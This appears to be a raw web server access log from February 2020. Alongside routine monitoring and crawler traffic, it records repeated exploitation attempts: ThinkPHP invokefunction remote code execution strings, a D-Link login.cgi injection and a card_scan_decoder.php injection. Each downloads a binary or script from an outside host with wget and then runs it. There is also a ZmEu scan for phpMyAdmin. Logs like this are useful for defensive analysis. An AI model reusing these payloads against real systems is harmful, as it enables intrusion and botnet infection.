222.77.136.86 - - [02/Feb/2020:08:42:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:08:43:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:08:44:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
197.202.35.148 - - [02/Feb/2020:08:44:50 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:08:45:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:08:46:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:08:47:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:08:48:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:08:49:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
180.118.144.250 - - [02/Feb/2020:08:49:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:08:50:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.251.60.124 - - [02/Feb/2020:08:50:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
189.106.238.35 - - [02/Feb/2020:08:50:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [02/Feb/2020:08:51:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:08:52:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:08:53:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
176.197.135.30 - - [02/Feb/2020:08:53:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [02/Feb/2020:08:54:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
109.117.198.174 - - [02/Feb/2020:08:54:51 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [02/Feb/2020:08:55:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:08:56:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.89.40.90 - - [02/Feb/2020:08:57:08 +0100] "GET /card_scan_decoder.php?No=30&door=%60wget http://switchnets.net/hoho.arm7; chmod 777 hoho.arm7; ./hoho.arm7 linear%60 HTTP/1.1" 400 340 "-" "dark_NeXus_Qbot/4.0 (compatible; MSIE5.01; minerword NT)"
201.103.48.63 - - [02/Feb/2020:08:57:12 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [02/Feb/2020:08:57:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
213.23.12.149 - - [02/Feb/2020:08:57:49 +0100] "GET /w00tw00t.at.blackhats.romanian.anti-sec:) HTTP/1.1" 404 346 "-" "ZmEu"
213.23.12.149 - - [02/Feb/2020:08:57:49 +0100] "GET /w00tw00t.at.blackhats.romanian.anti-sec:) HTTP/1.1" 404 346 "-" "ZmEu"
213.23.12.149 - - [02/Feb/2020:08:57:49 +0100] "GET /w00tw00t.at.blackhats.romanian.anti-sec:) HTTP/1.1" 404 346 "-" "ZmEu"
213.23.12.149 - - [02/Feb/2020:08:57:49 +0100] "GET /w00tw00t.at.blackhats.romanian.anti-sec:) HTTP/1.1" 404 346 "-" "ZmEu"
213.23.12.149 - - [02/Feb/2020:08:57:49 +0100] "GET /w00tw00t.at.blackhats.romanian.anti-sec:) HTTP/1.1" 404 346 "-" "ZmEu"
213.23.12.149 - - [02/Feb/2020:08:57:49 +0100] "GET /w00tw00t.at.blackhats.romanian.anti-sec:) HTTP/1.1" 404 346 "-" "ZmEu"
213.23.12.149 - - [02/Feb/2020:08:57:49 +0100] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 333 "-" "ZmEu"
213.23.12.149 - - [02/Feb/2020:08:57:49 +0100] "GET /w00tw00t.at.blackhats.romanian.anti-sec:) HTTP/1.1" 404 346 "-" "ZmEu"
213.23.12.149 - - [02/Feb/2020:08:57:49 +0100] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 333 "-" "ZmEu"
213.23.12.149 - - [02/Feb/2020:08:57:49 +0100] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 333 "-" "ZmEu"
213.23.12.149 - - [02/Feb/2020:08:57:50 +0100] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 333 "-" "ZmEu"
213.23.12.149 - - [02/Feb/2020:08:57:51 +0100] "GET /w00tw00t.at.blackhats.romanian.anti-sec:) HTTP/1.1" 404 346 "-" "ZmEu"
213.23.12.149 - - [02/Feb/2020:08:57:51 +0100] "GET /w00tw00t.at.blackhats.romanian.anti-sec:) HTTP/1.1" 404 346 "-" "ZmEu"
213.23.12.149 - - [02/Feb/2020:08:57:51 +0100] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 333 "-" "ZmEu"
213.23.12.149 - - [02/Feb/2020:08:57:51 +0100] "GET /w00tw00t.at.blackhats.romanian.anti-sec:) HTTP/1.1" 404 346 "-" "ZmEu"
213.23.12.149 - - [02/Feb/2020:08:57:51 +0100] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 404 333 "-" "ZmEu"
213.23.12.149 - - [02/Feb/2020:08:57:51 +0100] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 333 "-" "ZmEu"
213.23.12.149 - - [02/Feb/2020:08:57:51 +0100] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 404 333 "-" "ZmEu"
213.23.12.149 - - [02/Feb/2020:08:57:51 +0100] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 404 333 "-" "ZmEu"
213.23.12.149 - - [02/Feb/2020:08:57:51 +0100] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 333 "-" "ZmEu"
213.23.12.149 - - [02/Feb/2020:08:57:51 +0100] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 404 333 "-" "ZmEu"
213.23.12.149 - - [02/Feb/2020:08:57:51 +0100] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 333 "-" "ZmEu"
213.23.12.149 - - [02/Feb/2020:08:57:52 +0100] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 404 333 "-" "ZmEu"
213.23.12.149 - - [02/Feb/2020:08:57:52 +0100] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 333 "-" "ZmEu"
213.23.12.149 - - [02/Feb/2020:08:57:53 +0100] "GET /pma/scripts/setup.php HTTP/1.1" 404 326 "-" "ZmEu"
213.23.12.149 - - [02/Feb/2020:08:57:53 +0100] "GET /pma/scripts/setup.php HTTP/1.1" 404 326 "-" "ZmEu"
213.23.12.149 - - [02/Feb/2020:08:57:53 +0100] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 404 333 "-" "ZmEu"
213.23.12.149 - - [02/Feb/2020:08:57:53 +0100] "GET /pma/scripts/setup.php HTTP/1.1" 404 326 "-" "ZmEu"
213.23.12.149 - - [02/Feb/2020:08:57:53 +0100] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 404 333 "-" "ZmEu"
213.23.12.149 - - [02/Feb/2020:08:57:53 +0100] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 333 "-" "ZmEu"
213.23.12.149 - - [02/Feb/2020:08:57:53 +0100] "GET /pma/scripts/setup.php HTTP/1.1" 404 326 "-" "ZmEu"
213.23.12.149 - - [02/Feb/2020:08:57:53 +0100] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 404 333 "-" "ZmEu"
213.23.12.149 - - [02/Feb/2020:08:57:53 +0100] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 404 333 "-" "ZmEu"
213.23.12.149 - - [02/Feb/2020:08:57:53 +0100] "GET /pma/scripts/setup.php HTTP/1.1" 404 326 "-" "ZmEu"
213.23.12.149 - - [02/Feb/2020:08:57:53 +0100] "GET /myadmin/scripts/setup.php HTTP/1.1" 404 330 "-" "ZmEu"
213.23.12.149 - - [02/Feb/2020:08:57:53 +0100] "GET /myadmin/scripts/setup.php HTTP/1.1" 404 330 "-" "ZmEu"
213.23.12.149 - - [02/Feb/2020:08:57:54 +0100] "GET /pma/scripts/setup.php HTTP/1.1" 404 326 "-" "ZmEu"
213.23.12.149 - - [02/Feb/2020:08:57:54 +0100] "GET /pma/scripts/setup.php HTTP/1.1" 404 326 "-" "ZmEu"
213.23.12.149 - - [02/Feb/2020:08:57:54 +0100] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 404 333 "-" "ZmEu"
213.23.12.149 - - [02/Feb/2020:08:57:55 +0100] "GET /pma/scripts/setup.php HTTP/1.1" 404 326 "-" "ZmEu"
213.23.12.149 - - [02/Feb/2020:08:57:55 +0100] "GET /myadmin/scripts/setup.php HTTP/1.1" 404 330 "-" "ZmEu"
213.23.12.149 - - [02/Feb/2020:08:57:55 +0100] "GET /MyAdmin/scripts/setup.php HTTP/1.1" 404 330 "-" "ZmEu"
213.23.12.149 - - [02/Feb/2020:08:57:55 +0100] "GET /MyAdmin/scripts/setup.php HTTP/1.1" 404 330 "-" "ZmEu"
213.23.12.149 - - [02/Feb/2020:08:57:55 +0100] "GET /myadmin/scripts/setup.php HTTP/1.1" 404 330 "-" "ZmEu"
213.23.12.149 - - [02/Feb/2020:08:57:55 +0100] "GET /myadmin/scripts/setup.php HTTP/1.1" 404 330 "-" "ZmEu"
213.23.12.149 - - [02/Feb/2020:08:57:55 +0100] "GET /pma/scripts/setup.php HTTP/1.1" 404 326 "-" "ZmEu"
213.23.12.149 - - [02/Feb/2020:08:57:55 +0100] "GET /myadmin/scripts/setup.php HTTP/1.1" 404 330 "-" "ZmEu"
213.23.12.149 - - [02/Feb/2020:08:57:55 +0100] "GET /myadmin/scripts/setup.php HTTP/1.1" 404 330 "-" "ZmEu"
213.23.12.149 - - [02/Feb/2020:08:57:55 +0100] "GET /myadmin/scripts/setup.php HTTP/1.1" 404 330 "-" "ZmEu"
213.23.12.149 - - [02/Feb/2020:08:57:55 +0100] "GET /MyAdmin/scripts/setup.php HTTP/1.1" 404 330 "-" "ZmEu"
213.23.12.149 - - [02/Feb/2020:08:57:55 +0100] "GET /MyAdmin/scripts/setup.php HTTP/1.1" 404 330 "-" "ZmEu"
213.23.12.149 - - [02/Feb/2020:08:57:55 +0100] "GET /MyAdmin/scripts/setup.php HTTP/1.1" 404 330 "-" "ZmEu"
213.23.12.149 - - [02/Feb/2020:08:57:56 +0100] "GET /MyAdmin/scripts/setup.php HTTP/1.1" 404 330 "-" "ZmEu"
213.23.12.149 - - [02/Feb/2020:08:57:56 +0100] "GET /MyAdmin/scripts/setup.php HTTP/1.1" 404 330 "-" "ZmEu"
213.23.12.149 - - [02/Feb/2020:08:57:58 +0100] "GET /myadmin/scripts/setup.php HTTP/1.1" 404 330 "-" "ZmEu"
213.23.12.149 - - [02/Feb/2020:08:57:59 +0100] "GET /MyAdmin/scripts/setup.php HTTP/1.1" 404 330 "-" "ZmEu"
213.23.12.149 - - [02/Feb/2020:08:58:00 +0100] "GET /MyAdmin/scripts/setup.php HTTP/1.1" 404 330 "-" "ZmEu"
212.91.246.72 - - [02/Feb/2020:08:58:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.57.111.41 - - [02/Feb/2020:08:59:20 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:08:59:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.99.173.69 - - [02/Feb/2020:08:59:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
120.194.198.44 - - [02/Feb/2020:08:59:46 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
120.194.198.44 - - [02/Feb/2020:08:59:46 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
120.194.198.44 - - [02/Feb/2020:08:59:48 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
120.194.198.44 - - [02/Feb/2020:08:59:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [02/Feb/2020:09:00:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.70.123.224 - - [02/Feb/2020:09:00:25 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:09:01:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.103.79 - - [02/Feb/2020:09:01:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:09:02:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:09:03:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:09:04:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.113.229.62 - - [02/Feb/2020:09:04:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:09:05:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:09:06:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:09:07:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
63.143.35.226 - - [02/Feb/2020:09:07:41 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
63.143.35.226 - - [02/Feb/2020:09:07:50 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [02/Feb/2020:09:08:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.140.79 - - [02/Feb/2020:09:09:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:09:09:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
31.162.199.98 - - [02/Feb/2020:09:09:23 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:09:10:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
168.149.235.21 - - [02/Feb/2020:09:10:50 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.115.154.217 - - [02/Feb/2020:09:11:15 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:09:11:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.123.60.103 - - [02/Feb/2020:09:11:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [02/Feb/2020:09:12:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:09:13:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:09:14:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.54.146.153 - - [02/Feb/2020:09:14:30 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:09:15:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
63.143.35.226 - - [02/Feb/2020:09:15:24 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
63.143.35.226 - - [02/Feb/2020:09:15:35 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
63.143.35.226 - - [02/Feb/2020:09:16:08 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [02/Feb/2020:09:16:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
63.143.35.226 - - [02/Feb/2020:09:16:28 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
63.143.35.226 - - [02/Feb/2020:09:16:41 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [02/Feb/2020:09:17:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:09:18:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
54.36.148.60 - - [02/Feb/2020:09:19:03 +0100] "GET /robots.txt HTTP/1.1" 404 327 "-" "Mozilla/5.0 (compatible; AhrefsBot/6.1; +http://ahrefs.com/robot/)"
54.36.149.81 - - [02/Feb/2020:09:19:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; AhrefsBot/6.1; +http://ahrefs.com/robot/)"
58.187.126.169 - - [02/Feb/2020:09:19:22 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:09:19:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
117.20.29.126 - - [02/Feb/2020:09:19:35 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.119.205.109 - - [02/Feb/2020:09:20:17 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:09:20:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:09:21:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.54.169.121 - - [02/Feb/2020:09:22:04 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:09:22:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
80.210.18.224 - - [02/Feb/2020:09:22:52 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
80.210.18.224 - - [02/Feb/2020:09:23:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
63.143.35.226 - - [02/Feb/2020:09:23:13 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [02/Feb/2020:09:23:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
63.143.35.226 - - [02/Feb/2020:09:23:27 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
63.143.35.226 - - [02/Feb/2020:09:24:01 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [02/Feb/2020:09:24:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:09:25:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:09:26:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:09:27:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:09:28:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:09:29:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:09:30:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.42.195.84 - - [02/Feb/2020:09:30:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
92.254.184.183 - - [02/Feb/2020:09:31:07 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
179.106.99.218 - - [02/Feb/2020:09:31:07 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [02/Feb/2020:09:31:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
